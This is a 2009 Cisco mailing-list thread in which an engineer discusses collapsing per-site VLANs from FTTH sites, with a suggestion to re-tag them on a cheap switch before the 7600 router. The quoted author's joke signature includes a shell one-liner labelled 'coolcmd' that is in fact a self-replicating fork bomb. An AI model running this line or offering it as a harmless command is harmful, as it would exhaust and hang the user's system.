[c-nsp] Loopback/VLAN question

[Frank Bulk]

The transport product was supposed to be able to re-tag, but we learned
during the turn-up that that's coming in future version.  As you can
imagine, we will be having further discussions on this issue.

Frank

-----Original Message-----
From: Thomas Habets [mailto:thomas at habets.pp.se] 
Sent: Wednesday, December 16, 2009 6:50 AM
To: Frank Bulk - iName.com
Cc: cisco-nsp at puck.nether.net
Subject: Re: [c-nsp] Loopback/VLAN question

On Tue, 15 Dec 2009, Frank Bulk - iName.com wrote:
> I have 5 remote sites where I'm doing FTTH and transporting the traffic
over
> a third-party transport gear to our HQ.  Each site-HQ link is a separate
> VLAN and uniquely numbered.

Have you considered re-tagging the VLANs on a cheaper device before the 
7600 (which I assume you're sparing because of port cost) and re-tagging 
them to the same VLAN, with some private vlan conf on there to keep VLANs 
from talking to each other (assuming you want that)? Then the 7600 will 
just get all sites on one VLAN.

Re-tagging VLANs does take up a few ports on a cheap switch, but it may be 
cheaper than using up more ports in the 7600 and the 3rd party transport.

And I never said it wasn't ugly.

>
> SiteA  SiteB  SiteC  SiteD  SiteE
>  |      |      |      |      |
> VLAN1  VLAN2  VLAN3  VLAN4  VLAN5
>  |      |      |      |      |
>  =============================
>                |
>   802.1q tagged (1 thru 5)
                  |
                2960
                |||||   <- untagged, one per VLAN
            the same 2960
>                |
>             7609-S
>                |
>        DHCP server

---------
typedef struct me_s {
   char name[]      = { "Thomas Habets" };
   char email[]     = { "thomas at habets.pp.se" };
   char kernel[]    = { "Linux" };
   char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt" };
   char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
   char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;